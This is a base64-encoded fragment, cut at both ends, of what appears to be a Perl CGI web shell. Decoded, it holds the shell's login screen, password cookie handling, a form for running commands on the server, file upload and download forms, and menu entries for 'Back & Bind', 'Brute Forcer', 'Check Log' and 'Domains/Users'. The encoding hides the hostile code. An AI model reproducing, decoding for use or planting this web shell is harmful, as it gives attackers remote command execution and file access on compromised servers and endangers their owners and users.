icgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tLVsgICRFZGl0UGVyc2lvbiBdLS0tbzwvZm9udD48L2I+DQoJPC90ZD4NCgk8dGQ+DQoJCSRpbmZvDQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmY5OTAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmOTkwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KJGlkDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXJsRW5jb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvKFteQS1aYS16MC05XSkvc3ByaW50ZigiJSUlMDJYIiwgb3JkKCQxKSkvc2VnOw0KCXJldHVybiAkc3RyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsNCglteSAkdGV4dCA9IHNoaWZ0Ow0KCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOw0KCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsNCgkkdGV4dCA9fiBzLycvJy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KDQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMNCiMt